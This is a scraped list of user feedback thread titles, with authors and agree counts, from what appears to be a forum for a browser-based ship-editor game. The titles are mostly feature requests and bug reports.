• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  603 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  523 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Vote

  498 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  496 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  483 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  477 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree